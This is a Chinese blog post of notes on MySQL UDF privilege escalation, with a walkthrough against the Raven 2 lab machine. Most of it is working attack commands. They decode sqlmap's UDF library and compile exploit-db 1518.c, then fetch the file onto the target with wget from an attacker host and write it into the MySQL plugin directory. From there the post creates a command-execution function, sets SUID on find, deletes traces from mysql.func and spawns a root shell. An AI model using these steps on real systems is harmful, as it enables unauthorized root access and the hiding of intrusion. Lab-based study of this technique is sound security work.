vlambda博客
学习文章列表

MySQL UDF提权详细笔记

UDF,User Define Function,即用户自定义函数,通过这种方法可以执行任意系统命令以提升权限。

利用条件

能够以root权限登录mysql并且有写入文件到lib/plugin目录的权限,即secure_file_priv没有值。

secure_file_priv是用来限制数据导入导出的值,通过show global variables like "%secure%"可以查看,这个值存在三种情况:

secure_file_priv 说明
NULL 不允许数据的导入导出,不能提权
具体目录(如/tmp 数据只能导入导出到这一目录,一般不能提权(除非运维脑抽设置到mysql配置目录)

这也是默认值(MySQL 5.6.10实测),即没有设置,可以提权

如果无法提权,但有特殊权限,可以尝试修改my.ini文件中的secure_file_priv

简而言之就是:

  • secure_file_priv没有值

  • plugin路径已知

  • root权限 / 可写文件的权限

必要的信息收集

 # 获取MySQL安装路径 select @basedir; # 查看是否可以提权 show global variales like "%secure%"; # 获取plugin路径 select @@plugin_dir;

使用kali对Raven 2靶机进行实战的过程

得到udf文件(本文介绍两种方式):

sqlmap版(这里获取的是Linux的,Windows一样,so文件改成dll就行):

/usr/share/sqlmap/data/udf/mysql/下的linux/64目录下有Linux的64位的lib_mysqludf_sys.so_文件(另外也有32位 / Windows的,这个文件经过了异或编码)

 # 异或解码,得到可用的so文件(Windows是so文件) $ python3 /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ # 把文件复制出来,改个名字 $ cd /root $ cp /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so /root $ mv lib_mysqludf_sys.so exp.so # 挂到本机8000端口上 $ python3 -m http.server 8000


sqlmapudf文件中提供了以下自定义函数:

  • sys_eval:执行任意命令,并将输出返回(测试过程中不好用)

  • sys_exec:执行任意命令,并将退出码返回(测试好用,但无回显)

  • sys_get:获取一个环境变量

  • sys_set:创建或修改一个环境变量

exp-db版:

 # 搜索exp $ searchsploit mysql udf # copy到当前目录 $ cp /usr/share/exploitdb/exploits/linux/local/1518.c . # -c: 编译为二进制so文件,-g:生成调试信息 $ gcc -g -c 1518.c # -shared:创建一个动态链接库,-o:输出文件名,-lc:-l 库 c库名 $ gcc -g -shared -o exp.so 1518.o -lc # 挂到本机8000端口上 $ python3 -m http.server 8000

另外,Windows在利用过程中可能遇到的问题解决方案:

版本 导出路径
MySQL < 5.0 随意
5.0 <= MySQL< 5.1 目标服务器的系统目录(如:C:\\Windows\\system32\\
5.1 > MySQL MySQL安装目录下的lib\plugin\文件夹

plugin目录可能需要自行创建(用NTFS ADS流模式突破进而创建文件夹):

 # 查找到mysql的目录 mysql> select @@basedir; # lib\plugin\目录如果不存在,可以利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.6\\lib::$INDEX_ALLOCATION'; # 利用NTFS ADS创建plugin目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.6\\lib\\plugin::$INDEX_ALLOCATION'

so / dll文件导入目标服务器(在服务器上的操作):

# 切换到/tmp目录(服务器目录太显眼) $ cd /tmp # 在/tmp目录下载exp.so $ wget 192.168.17.129:8000/exp.so # 登录mysql $ mysql -uroot -pR@v3nSecurity # 使用mysql数据库 mysql> use mysql; # 创建表myfunc mysql> create table myfunc(line blob); # 插入数据 mysql> insert into myfunc values(load_file('/tmp/exp.so')); # 把文件导出到plugin mysql> select * from myfunc into dumpfile '/usr/lib/mysql/plugin/exp.so'; # 创建自定义函数(这里是exp-db版本,如果是使用sqlmap的udf文件,则函数名do_system改为sys_exec,如果是sqlmap-Windows版的那就是cmdshell) mysql> create function do_system returns integer soname 'exp.so'; # 检查是否创建成功 mysql> select * from mysql.func; # 调用do_system函数赋予find目录suid权限,再进行suid提权(DC系列靶机文章中有介绍) mysql> select do_system('chmod u+s /usr/bin/find'); # 清除痕迹 mysql> delete from mysql.func where name='do_system'; # 退出mysql mysql> quit; # SUID:find提权 $ find . -exec /bin/sh \; # 提权成功 $ whoami root

参考文章

https://blog.csdn.net/qq_36119192/article/details/84863268

https://blog.csdn.net/qq_26090065/article/details/81515355

【强烈推荐】http://www.tuzk1.top/posts/a58a22fd.html